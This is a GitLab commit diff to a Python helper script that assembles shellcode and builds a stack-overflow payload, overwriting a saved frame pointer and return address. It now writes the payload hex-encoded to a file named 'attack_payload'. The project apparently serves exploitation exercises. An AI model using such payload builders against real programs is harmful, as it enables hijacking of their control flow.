Skip to content
Snippets Groups Projects
Commit 947838b7 authored by aticu's avatar aticu
Browse files

Update assembler to output url encoded payloads

parent 2b952c79
No related branches found
No related tags found
No related merge requests found
...@@ -13,3 +13,4 @@ ...@@ -13,3 +13,4 @@
*.siz *.siz
*.bin *.bin
*.lst *.lst
attack_payload
...@@ -49,7 +49,7 @@ objdump = path + "/" + arch_prefix + "objdump" ...@@ -49,7 +49,7 @@ objdump = path + "/" + arch_prefix + "objdump"
subprocess.run([assembler, sys.argv[1], "-march=" + march]) subprocess.run([assembler, sys.argv[1], "-march=" + march])
with subprocess.Popen([objdump, "-D", "a.out"], stdout=subprocess.PIPE) as objdump_result: with subprocess.Popen([objdump, "-D", "a.out"], stdout=subprocess.PIPE) as objdump_result:
with open("i_am_bin_dump", "wb") as f: with open("attack_payload", "wb") as f:
text_start = False text_start = False
if desired_len % 4 != 0: if desired_len % 4 != 0:
print(' "', end='') print(' "', end='')
...@@ -75,8 +75,7 @@ with subprocess.Popen([objdump, "-D", "a.out"], stdout=subprocess.PIPE) as objdu ...@@ -75,8 +75,7 @@ with subprocess.Popen([objdump, "-D", "a.out"], stdout=subprocess.PIPE) as objdu
hexval.reverse() hexval.reverse()
instruction = " ".join(components[2:]) instruction = " ".join(components[2:])
print(' "%s" // %s %s' % (write_hex(hexval), offset, instruction)) print(' "%s" // %s %s' % (write_hex(hexval), offset, instruction))
for hx in hexval: f.write(bytes(write_hex(hexval), "utf-8"))
f.write(bytes([int(hx, 16)]))
desired_len -= 4 desired_len -= 4
if desired_len < 8: if desired_len < 8:
...@@ -93,13 +92,9 @@ with subprocess.Popen([objdump, "-D", "a.out"], stdout=subprocess.PIPE) as objdu ...@@ -93,13 +92,9 @@ with subprocess.Popen([objdump, "-D", "a.out"], stdout=subprocess.PIPE) as objdu
print() print()
print(' "%s" // the new frame pointer: %s' % (write_hex(fp), sys.argv[3])) print(' "%s" // the new frame pointer: %s' % (write_hex(fp), sys.argv[3]))
for hx in fp: f.write(bytes(write_hex(fp), "utf-8"))
f.write(bytes([int(hx, 16)]))
print(' "%s" // the new return address: %s' % (write_hex(ra), sys.argv[4])) print(' "%s" // the new return address: %s' % (write_hex(ra), sys.argv[4]))
for hx in ra: f.write(bytes(write_hex(ra), "utf-8"))
f.write(bytes([int(hx, 16)]))
print("running xclip for hex to clipboard") subprocess.run(["rm", "a.out"])
subprocess.run(["xclip", "-selection", "clipboard", "-noutf8", "-in", "i_am_bin_dump"])
subprocess.run(["rm", "a.out", "i_am_bin_dump"])
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment